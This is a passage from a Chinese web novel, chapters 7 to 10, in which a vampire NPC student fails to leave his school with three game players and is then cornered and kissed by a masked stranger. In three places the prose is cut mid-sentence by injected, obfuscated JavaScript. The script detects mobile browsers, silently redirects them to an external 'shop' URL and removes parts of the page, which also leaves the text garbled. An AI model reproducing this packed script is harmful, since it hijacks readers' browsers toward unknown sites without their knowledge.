《不能贪恋漂亮npc哦[无限]》 7. 第 7 章 枣芩发完,手指滑动,回看自己之前给这人发的几十条卖惨消息,要多可怜有多可怜,他看得眼眶都湿濡起来。 其实他不是装惨,他是真惨。 他现在的余额都要买不起人工血了,也是这个原因,枣芩已经很久没吸食血族的正常食物,每天吃人类的食物也只有个饱腹作用而已。 长时间不喝血他就会没有精力,逐渐意识涣散。 他看着李知樾乌漆嘛黑的头像头晕,感觉自己现在就有点症状了。 于是,贫穷的枣芩打开了以前只登过一次的交流平台。 过去从血族朋友那里听说过,这里可以收到临期的人造血。 所谓人造血,看起来和真正的血液有很大的差距,颜色是淡淡的乳白色。 是为了方便生活在人类世界的血族,但口感差距据说并不大。 枣芩没喝过真的血,他不知道到底大不大。 打开交流平台,屏幕就立马蹦出一个需要填补资料的页面。 他的账号是个路人号,连名字和头像都没有。 枣芩漫不经心看了眼窗外勃勃生机的大树,就随便输入【我是一棵小树苗】 头像当然就不能应付了事了。 枣芩从床上坐起来,打开美颜相机左右端详自己的脸,美颜拉满,大眼睛小嘴锥子脸,但他还是不太满意。 枣芩扫视一圈周围,想起自己之前带过来的一些基础化妆品。 他不太会用,就一直封存在储物柜,此时刚好派上用场! 其实吧…… 枣芩虽然不好意思说,但他是觉得自己有点小漂亮的,但肯定没有化妆加上美颜好看吧。 网上都说化妆是亚洲邪术呢。 他捣鼓完,45度角举起手机,镜头里已经看不出是他的人笑得灿烂,眉眼弯弯。 这张照片拍得非常完美,跟动漫里走出来的似的,谁见了都要夸一句撕漫男。 枣芩立马就换上头像,很满意。 买好人造血,他随意浏览着这个平台,发什么的都有,发什么都有人回复,还有人讨论外星人的星座。 他有点心痒痒,食指点点下巴,把最近的经历粉饰概括,发了上去。 【我是一棵小树苗:你们会有时候觉得这个世界是假的吗?我们其实是npc。】 这个交流平台太丰富了。 枣芩的这句话根本比不上那些 【惊!养胃小伙一夜之间生龙活虎……】 【奖励自己居然有助于睡眠…】 【某某居然是依靠血族大佬上位的……】 根本没人注意他,刷新好几下都没人回复,枣芩没忍住又发了一条。 【我是一棵小树苗:而且不是普通的世界,是供玩家闯关的那种世界。】 他手顿了顿。 【我是一棵小树苗:算了,我是瞎说的。】 他只是习惯性又一刷新,就出现了几条评论。 【血喝少了是这样的,精神都要错乱了,我遇到了一群很坏很坏的人,谁能给我200块让我回家。】 【lz头像是本人?来自哪个星系,星座是?】 【谁教你这么高p的,你可以起诉他】 枣芩看出了这人调侃的意思,心虚得脸立马红了。 【我是一棵小树苗:我p前p后一个样!】 【我p前p后一个样~~~】 还配了一个阴阳怪气的粉色的不知道什么动物的表情包。 【你没有高p我要可怜你了「哭哭脸」】 枣芩气不打一处来,直接将这人拉黑,再也不想以后在互联网冲浪的时候碰到这个人了。 在这时终于看到了让他消气的正经评论,只是语气让枣芩不太舒服,仿佛在命令人。 【我有同感,加你了,通过下。】 这人顶着一个黑白动漫男头,一股忧郁气息,名字为单字「烬」,个人签名「。」 枣芩一时沉默了,抿着嘴巴思索了会,才慢吞吞点击通过。 对面的消息立马来了。 【烬:我也有同样的感受,每隔一段时间就会格外强烈,感觉这个世界上的人都是被设定好的npc。】 【我是一颗小树苗:你自己感觉出来的啊!】 【烬:是的,周围的人虽然有自己的思维能力,但他们看不到更深的东西,很愚蠢,只能看到表面。我有时候会觉得知道的太多也是一种悲哀。】 …… 【我是一棵小树苗:哇哦。】 枣芩把手机一扔,软了身子躺回去。 他算是看出来了,对面应该是个年纪不大的中二病,正深陷以自我为中心的青春幻想中,无法自拔。 他才不要跟这种小屁孩交流。 * a区李知樾的私人办公室。 他倚靠在黑沙发上,跷着二郎腿,松开的黑衬衫底下是苍白到不像常人的皮肤。周身环绕着懒散气质,好像发生什么都不足以激起他丝毫情绪波动。 红色的瞳孔透着属于血族的邪性,他眼皮跳了跳。 他说了一大串,手机屏幕里那个用着“小精灵”头像的人就说了句【哇哦。】 对方这两个字,包括那个句号都有种莫名其妙的敷衍。 从没人对李知樾是这种态度,他不知道这个小树苗想表达什么。他再发消息对方就不回了。 李知樾有些自嘲地挑了下眉,他居然会真的相信有人和自己是同样的想法。 他又瞥了眼小树苗的头像。 顶着一个愚蠢头像的人确实说不出什么有洞察的话。 · 醒来时宿舍光线晦暗,,每一个物件都安安静静的。窗外天色黯淡,这个世界都仿佛只剩下了他一个人。 枣芩揉着眼睛,慢吞吞从床上爬起来,好一会才意识到,他逃课了! 之前从来没有逃过课的枣芩,第一次因为睡过头而没去上课,他瞬间清醒,手忙脚乱起身想要穿鞋。 不过也只是短暂慌了会,他略一思索,又恹恹趴回去。 都已经缺了好几节,现在去不去好像都差不多。干脆不去了,不如多躺会。 不知过了多久,门被推开。 身形高大的宋呈手撑着门框、刘海微乱,直勾勾看着他,原本紧绷的神色在看到枣芩的瞬间,仿佛忽然安定下来。 他顿了会,关上门。 若无其事走到自己储物柜前,打开翻找起东西。 枣芩原本微微抬 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12986207|137060||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 起的头还没放回去。 门再次打开,秦子率平静悠闲,单手插着兜,另一只手提着给枣芩打包的海鲜汤。对比之下,宋呈刚刚表达出来的情绪越发奇怪。 见宋呈也在,略显惊讶,“呀,你也在,还以为你会因为芩芩不回宿……” 他闭上嘴,倏地笑了声:“算了,不提这些。” 宋呈:…… 见他面色不太好看,秦子率的心情就愈发的愉悦。他之前就对宋呈没什么好感,但也不至于厌烦。 但现在,怎么看怎么不顺眼,到底有哪里值得枣芩喜欢的? 他转头对着枣芩的方向。 很快枣芩喜欢的人就不是宋呈了。 秦子率道:“我今天提前去给你……” 口中的话卡在喉咙。 他表情滞了滞,走到枣芩床边,对方被轮罩在阴影下,看清的那一刻,秦子率抿唇控制着自己的嘴角。 枣芩见他过来,就放下手机坐起身,仰着张小脸,很乖地等着。 他醒来肚子确实饿了,叽里咕噜叫个不停,但他又不知道这个时间食堂能不能进,秦子率的出现简直就是及时雨。 因为仰着脸的动作,原本脸上的妆容更清晰的展露在两人面前。 巴掌大的脸上五颜六色,仿佛电视剧里面主角刻意扮丑才会画的妆容,盖在那张顶漂亮的五官上,就跟小白猫玩一天回来染了一身的泥。 枣芩一直被看着,有点莫名其妙。 视线在两人轮流游走,他有些疑惑地歪了下头,是在问秦子率为什么这么看着他。 明明顶着张花猫脸,连原本的长相都看不清了。 可在秦子率眼中就只有可爱得要命,心脏要被击穿了。 他目光灼灼,很真心实意地说:“好看!” 被这么盯着看脸,枣芩想要抬手摸脸,却还是收了回去,因为他迟钝地想起什么,眼睛一下张圆了。 随即有点不好意思的问:“…是吗?” “不是好看。” 枣芩没反应过来,脑子空了一秒,“啊?” “是非常好看。我以前真没见过你这样的男孩,五官精致立体,又特别……。”秦子率嘴上功夫向来厉害,这时也停顿了。 “让人感觉,不化妆的你还要更漂亮,就……这可能就是化妆的最高境界吧。也可能是你太好看了,说句实话,我觉得那些明星比起芩芩都差远了。” …… 冲击波一般不断袭来的糖衣炮弹已经将枣芩淹没,整个人都飘忽忽的听秦子率说,嘴唇不由自主翘起来。 他咬着下唇肉轻轻地磨,头也不好意思抬,他还是第一次被人这么夸。 虽然他厚脸皮,觉得秦子率说得挺对的…… 但还是按流程谦虚一下:“还好吧,其实我之前都没怎么化过妆的。嗯……我长得也好像就普通好看。” 他手指比了个一点点的手势,秦子率分不清枣芩脸上是真脸红还是腮红,只是他那有点羞又很骄傲,还要故作谦虚的表情,有种形容不出的招人。 秦子率呼吸微重,他稍稍弯腰离枣芩近点,嗅到他身上溢出来的香味。 这时听到声冷笑,声音不大但宿舍内的人都能听到,“很丑。” 8. 第 8 章 两人都看向他,宿舍一时陷入安静。 秦子率忽然笑了,看向宋呈的眼神像是轻视,但转而无影无踪。 他曲腿坐在枣芩身旁,亲昵地小声说:“审美有问题就算了,还莫名其妙插话,谁问他了。” 秦子率的气息是热的。枣芩瞥了眼宋呈,对方跟他对视一秒,看人依旧冷淡,随即进了卫生间。 脸颊突然被抚摸,用轻柔的力度掰过去,枣芩顺着他转头。 是秦子率的手虚虚捧着他的脸,秦子率表情不太开心,“你一直看他干什么?” 枣芩愣愣,睫毛动了动,随即清透的琥珀眼微弯,脸压在他手心。 “我没看。” 声音也因为被夸的开心,有点黏黏糊糊的撒娇意味,宋呈的态度并没对他有什么影响。 秦子率听到自己加快的心跳声,悬着的手颤抖,忽然收回,像是被烫到了。 分明是他主动去碰枣芩的脸。 他起身去摆弄带回来的汤,“晚饭、是海鲜汤,是你之前说的。” 白天睡得太多,晚上没有丝毫睡意。 直到听到宋呈起身出门的声音,枣芩缓缓坐起身,看着门口的位置,开始穿衣服。 枣芩知道今晚他们打算出校门,他本来想跟宋呈交流一下,能不能跟他们一起的。但始终都没有说成,今天两次见面的开场都不适合说点什么。 对方对他抱着的恶感太强,说了不太可能同意。 枣芩心想自己完全可以先悄悄跟着他们,如果被他们发现不允许,他再自己走。 枣芩黑暗中点点头,很赞成自己的决定。 “枣芩……” 夜半三更,名字忽然被用一种幽幽的声音念着,他正要开门的手顿住,慢吞吞转向秦子率的床位。 一动不动半分钟,都没有听到再传来任何声音,才意识到秦子率在说梦话。不知道梦到自己什么了。 走廊在黑暗中如同没有尽头。 小皮鞋与楼梯台阶接触发出声音,在寂静的环境中回荡一圈再回来,显得很陌生,像是别人的。 枣芩有记忆起,这是第一次在漆黑空静,空无一人的走廊独自穿梭。 他小时候哪怕大半夜想出去玩,爸爸妈妈都会陪着他…… 枣芩接着往下想具体事件,大脑却一片空白,什么都想不起来。 他注意力都放在眼下,没再细想。 走廊里冷气森森,只有安全标识散发的诡异绿光彰显存在感,像极了恐怖片里的色调。 下一秒,或许从黑暗中会走出一个一模一样的自己,或者看到自己的尸体。 枣芩被自己的想象弄得毛骨悚然,手心浮现出一层细密的冷汗,他干脆闭闭眼,搭着扶手一鼓作气冲下楼梯。 本是想着直接冲到大厅的,可是却听到了声不属于自己发出的,铁质物品碰撞的声音。 枣芩呼吸卡在喉咙处,顿时睁大眼睛,僵在中间平台处。 系统曾说过的“会有生命危险”开始在脑海中回荡。 舍友苍白的脸上黑洞洞的眼,黑红凝结的血痂,不知道是否隐藏在黑暗中的杀人凶手。 他不由自主握紧已经被他体温捂热的扶手,耸着肩膀靠过去。 “叮”那声音再次响起。 月光协助下。 他看见袖口用作装饰的扣子撞到栏杆。 发出声熟悉的“叮” …… 枣芩沉默两秒,咬了下舌尖,尴尬安安静静淹没了他。 原来是自己发出的。 想到刚才自己……好傻啊。 紧绷的神经因为这事松懈下来,没那么害怕了。 他正准备继续接着往下走。 “又跟着我。” 这次真得不是自己发出的声音。 枣芩身体一抖,迈出去的脚没来记得收回悬空,身体失去控制往下倾斜,思绪全部被吓空了。 当被人从后面单手揽抱着腰,稳定住时。他白着一张小脸,大口喘着气,两手攀在宋呈结实的小臂上,浑身都发着软。 腰细细一截,柔软如柳条,攀着他的力度也很轻。 宋呈手臂僵硬,只是试探抽了下胳膊就抽出来了。枣芩搭着他的力度很轻。 他莫名升起一股若有所失,很快因为这种感觉皱起眉,语气不太好,“跟着我干什么?” 枣芩缓过来,刚刚被吓到的心脏还在砰砰乱跳,听到这人质问一样的语气,差点没压住自己的脾气。 宋呈贴在他身后,枣芩走下节台阶,转身要跟对方说话。 本来宋呈就比他高不少,现在更是高出一大块,看他要仰头才行。 他当下心里更不爽了。 一开口肯定要漏出来,于是他闭上嘴也不说话,垂眼生闷气,“……” 对方见他不说话。 “嘴巴不会说话了?” 宋呈:“自己回去。” 说完,他就迈步下楼梯。 枣芩忙不迭跟下来。 节奏不一的脚步走近大门,落在身上月光没了阻碍。 宋呈一回头,枣芩的脚步就定住,月光下,一双眼睛视线飘忽不定,透着心虚。 是在为今天跟秦子率的事情心虚吗? 晚上又跟着他,又要说什么。 宋呈不动声色看着他,枣芩也同样一言不发,抬眼看了他一眼,就低下了头。 都不敢跟他对视。 僵持片刻,宋呈看到了弹幕中【呜呜呜让我多看看芩芩,别赶他走!】 对,他很受直播间观众的欢迎,只是为了让直播间人气高而已。 “出意外可不关我的事。” 宋呈随即便往前走去,身后的枣芩舒了口气,连忙跟上他。 · 付凯宁和钟佐已经在外面等了一会。 转校生单独住一个宿舍,出来要方便很多。 枣芩看到他们的同时,他们也注意到了不远处站定的身影,隔着他们几米远,抱着手臂,有些拘谨。 付凯宁神色发怔,他凑过去放轻声音,“宋哥,你把那谁带过来了啊。” “他自己非要跟着我来。” 付凯宁也不知道是不是自己的问题,从宋呈的语气中听出一丝微妙的炫耀成分,可他的表情又一如既往的目空一切。 枣芩见他们没有排斥自己,试探朝他们走近几步,依旧没人说什么,他不动声色的混进队伍里,跟在宋呈身后,跟着他们朝大门的方向走去。 钟佐对枣芩的态度最为热情,围着他问一些他的私事,“穿多少码的鞋和衣服”“喜欢什么颜色”“有没有过对象”之类的。 枣芩眼中虽然他们此时站在一起,但其他三个玩家是一帮的,而自己是一帮的。 按道理来说,枣芩不想落了对方的面子会勉强回答一下,但他此时心中对这个男人的厌恶占了大头,对方看得他好不舒服,他抿着嘴唇满脸写着排斥。 “你别问他了,刚认识就问别人这么多东西,别太自来熟了。”付凯宁放慢脚步来到他们身边,用身体隔开两人,随即将什么东西递到枣芩面前。 枣芩愣愣看着,是一块白巧克力,包装刚刚被撕开一角。 他视线转而看了眼付凯宁,对方散发出的气质似早晨阳光般温暖,还有一个小虎牙。年纪应该是最小的,个子却不矮,比枣芩要高一节,几乎和宋呈差不多。 枣芩捧着手接过,小声“谢谢。” 他就着撕开的地方咬了一小口,奶香的巧克力被温热的口腔包裹,立即融化在唇齿之间,侵入心脾。 他舔着自己红润的嘴唇,没忍住又咬了一口。 两个男人不顾走在前面的宋呈,定定看着他的嘴唇,一张一合的动作,付凯宁自己没忍住也跟着微微张了下嘴。 在枣芩抬头的那刻,又赶紧挪开自己明目张胆的视线。 枣芩自顾自吃着巧克力,不时看一眼是不是快到校门了。 只是又一次抬眼,就看到一张放大的脸凑过来,枣芩被吓得后退了两步。 钟佐呈现出个笑脸:“我能吃一口吗?你剩下的就行。” 枣芩把巧克力一收,脚步微乱躲到了一旁,还没反应过来的付凯宁身后,警惕看着钟佐。 钟佐慢慢直起身,原本脸上有些讨好意味的表情消失,舔了下牙根,面上是压不下的不耐,不知是对着枣芩还是付凯宁。 付凯宁立即仿佛成了被赐予重任的英雄一般,挡在枣芩面前,把他遮了个严实,皱眉对钟佐骂道:“你恶不恶心啊。” 钟佐面无表情盯着付凯宁几秒,随即朝着枣芩摆出一副伤心的样子,“我就是想跟枣芩同学搞好关系,枣芩同学怎么这么讨厌我,为什么?” 枣芩胸口一股气,都想骂人了。 本就在前面的宋呈突然回头,语调冷漠,“快点。” 说完就加快了脚步,三人的对峙被打破,面面相觑片刻,转身快步跟上去。 高大巍然、欧式华 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12986208|137060||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 丽的校门伫立在黑夜中,没有门锁。 门口的保安室漆黑一片,目光所及之处除了月光外便没有任何的光源,而今夜的月光格外的明亮,让校门看起来仿佛是去往另一个世界的入口。 枣芩从来都没走过b区的校门,就连入校也是走得ab区之间的小门。 此时站在这个门前,只觉得无比陌生,其余便是从心底冒出来的希冀,很快就能出校门,见到爸爸妈妈了。 他立即朝校门走,却被宋呈握住手腕,拉了回来,“等等。” 枣芩一脸茫然看着他不知道从哪里拿出一个木头人偶,径直从门栏杆间的缝隙中被丢出了校外,浸入黑暗中。 片刻后,他开口说:“没事。” 付凯宁最先往前走,并没有情况发生。 他们便也都跟着往前走,枣芩迫不及待快走了几步,挣脱了宋呈桎梏着手腕的力度,来到付凯宁身旁。 只是走着走着,怪异的地方越发明显。 他们怎么都靠近不了那扇门,刚开始是一米的距离,每当离门口一步之遥,又变成了一米,仿佛是游戏中永远无法跨越的边界墙。 枣芩看着又变成原来距离的校门,瞬间脊背发凉,脸色发白。 他不信邪地跑起来,伸手去想要握住校门栏杆,明明只是近在咫尺,转眼间又隔着好远的距离。 这显然是非常不正常的非自然现象。 可三人却只是眉头轻皱,停在原地并无太多情绪波动。 宋呈说:“看来是限制在校园内的,外面应该什么都没有。” 对于三个玩家来说,这不过是无数个副本里又一个固定地点的副本罢了。 可枣芩自认为自己是在这个世界土生土长的,哪怕他已经知道了真相,可这种事情真正发生在自己面前就太荒诞了。 他只感觉大脑嗡鸣,没忍住蹲在地上,大口喘息。 他努力往外面看去,只看到黑蒙蒙一片,其余什么也没有,好像外面的世界不存在。 枣芩站起身,第一反应是掏出手机给妈妈打电话,对方却不接。 他忍住想哭的冲动,抖着手给母亲发了条信息,【妈妈,接我电话,快点。】 看着最上面备注的妈咪两个字。枣芩忽然意识到,他记不起妈妈的脸、也记不起妈妈的名字。 他只记得妈妈特别疼爱他。 他怎么会想不起来呢? 枣芩一下软了身体,倒下之前他闭上眼睛,预料中摔在地上的感觉并没有如期而至,一只手扶住他的腰。 随即被人背到背上。 枣芩浑身发软趴在宋呈背上,他的肩膀和背部都很宽,枣芩趴在上面不会感到难受。 脑海中关于父母包括小时候的事情好像都在慢慢消退,枣芩眼眶中掉出一滴眼泪,随着那些记忆慢慢模糊散落,变的扁平不真实。 他喃喃:【我不是爸爸妈妈的孩子我是谁啊?】 自我的迷失让他感觉自己也不存在。 【你是你。】 【你是特殊npc玩家,在你攒够足够的积分之后,你会找到自己的过去与记忆。】 背上柔软的身体毫不防备地紧紧贴着他,头就靠在他的左侧肩膀,一呼一吸都落在了宋呈的颈侧,而从他身上散发出来的香气也萦绕在宋呈周身。 手上搂着的大腿肉是柔软的,简直就像没有骨头一般。 宋呈侧头说:“我送你回宿舍。” 枣芩却拒绝了,他喉中发出一声哼哼,“不要,我要跟着你。” 撒娇的语气,对着他。 宋呈没有再说话。 枣芩一直被宋呈背回楼里教学区。 其实中途就恢复理智了,他趴在一个被他骚扰无果的男人背上,胸口腰腹都紧贴着,那人的双手还搂着他的大腿,以防他摔下去,再往上一点点就到大腿内侧了。 之前怎么也追不到的人,现在任劳任怨背着他。 枣芩知道自己已经清醒了还让人背着不太好,但看着还有一段距离的路,最终懒惰战胜了那一点思量,闭着嘴巴什么也没说,继续装难受软软趴着。 到了教学楼才拍拍宋呈的肩膀,有点不好意思,“宋呈,你放我下来吧。” 宋呈放下他,枣芩又感慨说:“没想到你居然会背我,谢谢你呀。” 真是不计前嫌。 黑暗中,宋呈的表情却莫名黑下来,没好气,“不然让付凯宁背你?还是让你在那里瘫着哭。” “……” 9. 第 9 章 “……” 是怎么扯到付凯宁身上的呀。 枣芩不想跟他说话了。 教学楼五楼枣芩没来过。 宋呈手电筒的光束偏向楼梯,示意两人,“你们去六楼。” 照往常为了不浪费时间,他们肯定立刻就去。 但现在,都有默契似的停着,看向枣芩的方向,他正站在宋呈身旁东张西望。 宋呈盯着两人,一字一句,“他是跟着我出来的,我会保护他的安全。” 这话算是定下让枣芩跟着他了。 那两人三步一回头,宋呈带着枣芩走进一间教室,他们才恢复正常速度上楼。 枣芩紧跟着宋呈,宋呈握着手电筒照过的地方都展现在两人面前。 黑色真皮沙发,深棕实木的办公桌,还有角落用来装饰的绿植。 桌子上一闪而过的银色名牌昭示着它的身份——学生会会长。 这里是b区学生会。 “我们来这里干什么呀?”枣芩讷讷问。 他不知道该不该把自己是血族的事情告诉宋呈,给他们提供线索,等他们找到吸血鬼,坐享其成。 宋呈从喉中哼笑一声,侧脸过来看枣芩,轮廓半明半灭,森森问:“不然你想跟着付凯宁?” 不知道为什么他总是提付凯宁,枣芩眨眨眼睛,摇头道:“没有啊。” 见宋呈不说话,他并不真诚的补充道:“我没有想跟着付凯宁。” 付凯宁虽然人好,看着没有他厉害。 “你跟他很熟吗?”宋呈忽然靠近两步逼近枣芩。 枣芩往后一退,靠上办公桌。他手指攥上办公桌边缘,被宋呈质问、有点紧张,他又摇摇头。 “那你朝他身后躲什么?”手电筒被他倒立在桌上,两人都看不清对方的表情。 “啊?”枣芩短促出声,一时没有反应过来他在说什么。 只觉得自己莫名其妙被他堵在这个除了他们空无一人的学生会,还被他没来由的质问,很莫名其妙。 他胸口起伏几下,胸口憋闷,但是他不太敢和宋呈发脾气,干脆在黑暗中别过脸。 脸颊被人用手捏着强制转过去。 宋呈心口一股闷闷的情绪,他不知道自己为什么问出这些问题,本来只是想质问枣芩,是不是觉得自己保护不了他,才那么可怜地躲在付凯宁身后,不过来找他。 明明跟着他出来,却不紧紧跟在他身旁。 现在却鬼使神差靠得越来越近,是之前都没有有过的接近,呼吸都纠缠在了一起。 “不说话?”他声音涩得不像自己的。 “你要我说什么啊?!”枣芩被逼得只能坐在办公桌上了,实在没法退了,拍开他掐着自己脸颊的手,声音带上愤怒。 宋呈好像就是为了故意折磨他,才把他单独带过来,“你怎么还生气?” 说得好像他不该生气一样,枣芩已经压不住他对宋呈的那点惧意。 他握拳,“你神经病!蠢狗!” 宋呈呼吸重了几分,喉结往下压,距离再次缩近,“有本事再骂。” 不要脸。 枣芩把他捏着自己脸的手拉下去,视线已经不太敢看他了,嘴上却硬得很,“我骂你怎么了?谁让你…发神经。” 最后是宋呈顿了几秒,转身背对着他不说话,枣芩终于得到自由下了桌子,一切才收场。 他捏着自己的手指偷看宋呈。 是不是太过分了…… 【md,宝宝你太瑟了……】 【被骂爽了】 【别管了,看到就是在骂我了,我是枣芩的狗!不要说我卑微,我有我自己的节奏。】 枣芩都要怀疑他是不是被打击到了,宋呈才转身,若无其事继续翻找资料。 原本锁着的柜子被他不知道从哪来的钥匙轻松打开,枣芩已经猜出这是玩家的能力了——随时随地掏东西出来。 他将手电筒递给枣芩,“帮我拿着。” 尴尬气氛还在,枣芩看着他有些心虚,尤其是宋呈的眼睛看着有些红。 他乖乖接过,手电筒并不重,他举着手臂帮宋呈照文件。 转头扫视着整个房间,格局不算太大,比正常教室稍小。但靠近办公桌的这面墙还有一个门,门半开着,隐隐可以看到里面是一个有床的房间。 枣芩举得有点累了,另一个手扶着举手电筒的胳膊。 一阵很明显的震动声。 宋呈边看东西,边拿出手机,目光转移到亮着光的电子屏幕上,眉头蹙起。 他单手打字回了句什么,把手电筒从枣芩手中夺过,灯光在墙上胡乱晃着,枣芩什么都没反应过来,就被他推进了那间小房间,然后一直被宋呈推到床上。 狭小的房间内,手机屏幕的亮光从下往上,只照着枣芩红润微翘的唇瓣。照不到的地方,那双水润的眸子疑惑望着他。 宋呈喉结滚动,嘱咐:“我等会把门锁住,你不要出声躲好,等我回来……累了就睡一觉。” 枣芩被他严肃的语气带着也愈发紧张,他点点头,猜想是出什么事了。 凌晨寂静。 枣芩蜷缩在床上,意识朦胧,忽然听到外门被开的声音,以及不算快的脚步声。 应该是宋呈来接他了。 枣芩舒展身体坐起身,手机倏地亮起,收到条新消息。 明亮的屏幕上,来信人赫然是宋呈:【天亮之前,肯定去接你,你先睡一觉。】 外面的脚步声在靠近,枣芩抱着手机,呼吸凝固了。 黑暗中,他无声站起身,屏着呼吸扫视了遍可以藏身的地方。 门把手发出被拧动的声音,但因为锁上了,并没有打开。 枣芩心跳大到他害怕对方听到他的心跳声,他小心翼翼躺在冰凉的瓷砖地板上,还好他穿了外套,不至于让他0距离接触地板。 像小动物一样,他一点一点挪进漆黑的床底,躺在床底后,还不忘把手机静音,又把亮度也调到最低。 确保万无一失,才将手机按在胸口,触摸着自己的心跳,他闭上眼睛,祈祷那人快快离开。 仿佛听到他的祈祷,脚步声渐渐远离这个方向,可很快,他再次靠近,并且忽然不再压制声响。 那清晰的声音越来越近,从地板传达到枣芩耳边,如同倒计时。 钥匙插进钥匙孔,门“吱呀”被推开,在安静中格外响亮。 月光下,门口晦暗的腿脚轮廓,显然是属于男人的。 那人顿在门口仿佛在环视房间,好一会才动了几步坐在床上,床被重量下压一点, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12986209|137060||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 对方的双脚就放在枣芩不远的身侧。 枣芩眼睛紧紧闭着,捏着手机,心里已经开始渐渐泛起了委屈。 为什么他要遭这么一下。 就在这时,床上的人没有收获,起身打算离开,朝前走了两步,枣芩轻轻松了口气,紧绷的肩膀放松些许。 可是这一口气还是松早了,几秒的时间,枣芩就在黑暗中感受到被灼热注视的感觉——男人单手撑着床,单膝跪地,正侧头看着他。 枣芩脑瓜嗡嗡作响,因为太害怕已经傻了,下意识逃避这一切,撇着嘴闭上眼睛。 对方高大的身体挤进逼仄的床底,呼吸声很粗重,存在感极强的霸占了枣芩的空气,开始接近他。 强烈的气息逼迫枣芩往后缩,直到脊背抵在坚硬墙上。 无法再往后。 可对方还是在靠近,仿佛是玩弄着猎物的猎手,缓慢接近。 直到触碰到枣芩的身体,结实有力的胳膊一圈,把他搂入怀里,控制在这狭小的方寸之地。 若不是在床底,忽略枣芩快哭的表情,他们或许更像一对亲密无间的爱侣。 被触碰到的地方仿佛失去知觉,枣芩缩着身体,大脑一片空白,喉中溢出一声哭腔般的“唔……”,忽然急促呼吸起来。 他真的怕了,男人手臂搭着的腰腹也因为急促的呼吸起伏。 也没想到他会怕成这样,男人怔愣片刻,忙远离他一些距离,手生涩地在他肩头上轻轻拍起来。 被刻意掩饰过的嗓音透着一丝慌乱,低低的安慰:“别怕,没、没想欺负你。” 或许是他终于感受到对方没有散发危险气息,在对方轻柔地安慰下,枣芩的情绪缓和不少,至少没有再控制不住的大口呼吸,只是颤抖着湿润的睫毛,对面前这个人依旧保持警惕。 “我们出去。”对方说了句话,便搂在枣芩的腰,瘦软一截真正抱住时,男人还是僵了下,随即半搂半抱将他从床下抱到床上。 枣芩知道对方要抱自己出去,没有抗拒。 本来不算多么柔软的布料在地板的对比下显得格外舒适,不再硌得人疼。 手肘撑着身体,枣芩终于看到了男人整个身体的轮廓。 他单膝跪在床上,身形高大,也正注视枣芩。 脸部被遮住,戴着黑色的面具,脸上丁点皮肤都看不到。 忽然他往前靠近要俯身,这动作一下将枣芩吓得如炸毛的猫,瞪着眼睛,再次躲进角落,“你要干什么?” 只是这床并不宽,依旧是男人只要一俯身就能触碰到他的距离。 枣芩膝盖、小腿全都紧紧并着,手臂叠在上面。 其实只是单纯瑟缩的姿态,可是看到男人眼中,多了很多莫名的意味,就像是,生怕被他□□似的…… “你说了不欺负我的。”枣芩察觉到危险,忙胡乱说。 可话语刚落,男人毛茸茸的脑袋已经凑过来了,他这种人才不会信守承诺,含糊:“没说过。” 怎么能这样啊。 锁骨处被坚硬的面具抵住,硌得发疼,那男人跟狗一样埋头嗅闻着他的气息,枣芩手腕抵在他胸前推拒,声音都透着无助,“啊,疼。” 男人也察觉到了这点。 面具被单手往上抬了节,露出锋利的唇与下颌。 10. 第 10 章 枣芩唇微张,隐隐觉得眼熟,“你、” 氤氲气息随着字句吐出,下巴忽然被捧住,那人忽然迫不及待,要堵他的嘴似的朝着枣芩吻了过来。 枣芩不知道事情为什么会发展成这样,被不知道哪里来的坏人按在床角落里亲。 明明……不是个恐怖游戏吗? 唇贴着唇,枣芩的唇又软又凉,往里探,湿热柔软的舌尖还有一股子甜味,忍不住想吸吮。 他并不想第一次接吻就太过分,于是忍耐着、只是浅尝辄止,描摹品尝着柔软的唇瓣,另一只手则捉住枣芩的右手腕骨,不让推拒。 枣芩在他松开的一瞬小口喘息,他没忍住勾唇,笑着再次亲了一下。 胸口的位置还挡住枣芩的小腿。 他干脆直接连带着他的小腿、胳膊,长臂搂到他后背将枣芩抱起来,整个放到自己腿上控制住。 枣芩瞬间脸蛋烫的被火燎了似的,热乎乎的气息将他包裹,明明都没怎么动,却像是在做什么剧烈运动,没一会就浑身汗涔涔、热烘烘的。 他没注意到自己口袋里的手机亮了一会又暗了下去,但因为被他的主人关了音量,并没有收到提醒。 枣芩被亲得没了力气,到后面被放到床上,男人则撑在上方,仿佛只大型犬要把主人整个舔舐一遍,留下自己的气味。 抱着他亲的男人是突然被人拽开的,因为太突然,枣芩被吮着的湿红嘴唇颤了颤,舌尖暴露在空气中,整个人还很迷茫。 “你大爷的…”咬牙切齿的声音将枣芩的意识拉回来一些。 